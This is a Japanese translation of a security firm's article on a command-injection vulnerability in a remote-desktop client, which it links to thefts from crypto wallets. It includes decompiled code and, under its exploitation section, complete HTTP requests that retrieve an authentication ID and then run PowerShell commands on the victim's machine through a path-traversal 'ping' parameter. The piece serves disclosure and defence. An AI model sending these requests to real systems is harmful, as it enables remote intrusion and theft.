paint-brush
Crypto OpSec: リモート デスクトップ ソフトウェアを悪用してウォレットを流出させる方法@numencyber
586 測定値
586 測定値

Crypto OpSec: リモート デスクトップ ソフトウェアを悪用してウォレットを流出させる方法

Numen Cyber8m2023/04/18
Read on Terminal Reader

長すぎる; 読むには

最近、いくつかの web3 暗号通貨所有者が、リモート コントロール ソフトウェアの使用中にデジタル資産を失ったと報告しています。ハッカーに関連付けられたウォレット アドレスは 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf です。昨年、リモコンソフトのクライアント識別情報漏えいによるサービス爆発事故が発生しました。
featured image - Crypto OpSec: リモート デスクトップ ソフトウェアを悪用してウォレットを流出させる方法
Numen Cyber HackerNoon profile picture

最近、いくつかの web3 暗号通貨所有者が、リモート コントロール ソフトウェアの使用中にデジタル資産を失ったと報告しています。

ハッカーに関連付けられたウォレット アドレスは 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf です。

昨年、クライアント識別情報(CID)の漏洩とコマンドインジェクションの脆弱性(CNVD-2022-10270/CNVD-2022-03672)により、リモートコントロールソフトウェアでサービス爆発が発生したというインシデントがありました。


ソフトウェアが起動されるたびに、40000 より大きいランダムなポート番号が HTTP サービスとして自動的に開かれます。パラメータ cmd の値が /check ルートの ping または nslookup で始まる場合、任意のコマンドを実行できます。


これにより、攻撃者は C2 エージェントを送信して、被害者のシステムを長期間にわたって監視できるようになりました。

影響を受けるバージョン

Personal Edition for Windows <= 11.0.0.33162

簡易版 <= V1.0.1.43315

分析

login.cgi を見てみましょう

 v5 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v5; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, "login.cgi", 9ui64); v6 = sub_140E2D6BC(v5, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v6; if ( v6 ) { v7 = v6 + 8 + *(int *)(*(_QWORD *)(v6 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8i64))(v7); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v8) = 1; sub_1400EEDC0(v51, v8, 0i64); v56 = &v57; v9 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v9; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/login.cgi", 0x11ui64); v10 = sub_140E2D6BC(v9, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v10; if ( v10 ) { v11 = v10 + 8 + *(int *)(*(_QWORD *)(v10 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v11 + 8i64))(v11); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v12) = 1; sub_1400EEDC0(v51, v12, 0i64); v56 = &v57; v13 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v13; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/rpc", 0xBui64); v14 = sub_140E2D6BC(v13, v51); v57 = &off_1410D3B20; v58 = sub_140E1C954; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v14; if ( v14 ) { v15 = v14 + 8 + *(int *)(*(_QWORD *)(v14 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v15 + 8i64))(v15); }


cgi-bin/rpc に移動します

次のルートを取得します

v63 = (*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 + 8) + 104i64))(*(_QWORD *)(a1 + 8)); sub_140320D80( (int)&qword_1414049C0, 1, (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", (int)"CHttpDecideTcpClientType::DecideClient", 205, "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", v63); if ( (unsigned int)sub_140101DB0(v116, "login") && strcmp(v61, "express_login") && strcmp(v61, "cgi-bin/login.cgi") && strcmp(v61, "log") && strcmp(v61, "cgi-bin/rpc") && strcmp(v61, "transfer") && strcmp(v61, "cloudconfig") && strcmp(v61, "getfastcode") && strcmp(v61, "assist") && strcmp(v61, "cloudconfig") && strcmp(v61, "projection") && strcmp(v61, "getaddress") && strcmp(v61, "sunlogin-tools") ) ... sub_1400F05E0(v116); goto LABEL_168; } } if ( !(unsigned int)sub_140101DB0(v116, "login") || !(unsigned int)sub_140101DB0(v116, "control") || !strcmp(v61, "express_login") || !strcmp(v61, "cgi-bin/login.cgi") || !strcmp(v61, "cgi-bin/rpc") || !strcmp(v61, "desktop.list") || !strcmp(v61, "cloudconfig") || !strcmp(v61, "check") || !strcmp(v61, "transfer") || !strcmp(v61, "getfastcode") || !strcmp(v61, "assist") || !strcmp(v61, "micro-live/enable") || !strcmp(v61, "projection") || !strcmp(v61, "getaddress") ) { v103 = *(_QWORD *)(a1 + 8);

オンラインで公開されている脆弱性情報によると、cgi-bin/rpc ルートから最初の認証 CID を取得することで、アクション パラメータを調べることで機能を判別できます。

action パラメーターが verify-haras に設定されている場合、関数は verify_string を返します。

 if ( !(unsigned int)sub_140101DB0(v131, "verify-haras") ) { sub_1400F0690(Src, "{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"", 0x2Bui64); LOBYTE(v22) = 1; v23 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 144i64))( *(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64), v125, v22); sub_1400EEE40(Src, v23, 0i64, -1i64); sub_1400F05E0(v125); sub_1400EEC60(Src, "\",\"code\":0} ", 0xCui64); v73 = 1; CxxThrowException(&v73, (_ThrowInfo *)&stru_1412F7B30); }

action パラメータが login-type に設定されている場合、関数は被害者のデバイスに関する情報を返します。

 if ( !(unsigned int)sub_140101DB0(v131, "login-type") ) { sub_1405ACBA0(v93); v16 = "0"; if ( (*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 112i64))(*(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64)) ) ... memset(Buffer, 0, sizeof(Buffer)); sub_140150A60( Buffer, "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" ",\"disable_remote_bind\":\"%s\"} "); if ( Buffer[0] ) { do ++v6; while ( Buffer[v6] ); v4 = v6; } sub_1400F0690(Src, Buffer, v4); v72 = 1; CxxThrowException(&v72, (_ThrowInfo *)&stru_1412F7B30); }

上記に加えて、fast-login と bind-request の 2 つのパラメーターがあります。

攻撃者はチェック ルートを調べることで、ping や nslookup を使用して悪意のあるコマンドを作成し、リモートでコマンドを実行することができます。

getaddress ルートを使用すると、エクストラネットの固定ポートにマップされた https サービス アドレスを取得できます。このアドレスは、Web アセット検索エンジンによって簡単にクロールされたり、攻撃者によってスキャンされたりする可能性があるため、イントラネットを超えて攻撃対象領域が拡大されます。

搾取プロセス

起動するたびに、rpc インターフェイスは 40,000 より大きいポート番号をランダムに選択します。

最初のステップは、影響を受けるユーザー/エンティティの CID を取得することです。

 GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

その後、攻撃者は次のような CID を認証 Cookie に追加できます: Cookie: CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS.これにより、攻撃者は被害者のコンピュータで任意のコマンドを実行できます。

 GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami+/all HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

 /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig 

被害者のシステム ファイルにアクセスして表示します。

まとめ

web3 インフラストラクチャが発展し続けるにつれて、デジタル資産の価値が高く、web3 インフラストラクチャが目に見えないため、ハッカーにとって魅力的な標的になっています。彼らは、従来のネットワーク セキュリティから、ユーザーのデジタル資産を盗むなど、web3 エコシステム内のデータを盗むことに移行しました。

現在、多くのハッカーが 0-day/1-day 攻撃を使用して、サーバー、個人ホスト、ウォレット アプリ、モバイル クライアントなどの標的施設に侵入しています。彼らの最終的な目標は、ユーザーのデジタル資産を盗むことです。


このような攻撃から保護するために、ユーザーはシステムを最新の状態に保ち、パッチを適用し、不明なソースからのリンクをクリックしないようにし、キーを隔離されたシステムに保存することをお勧めします。


Web3 の状況が絶えず拡大しているため、プロジェクトでは、ユーザー資産の安全性を優先し、包括的な監査や定期的な脆弱性のスキャンなどの業界のベスト プラクティスを採用して、同様の攻撃が将来発生する可能性を最小限に抑えることが不可欠です。


サービスの詳細については、こちらをご覧ください。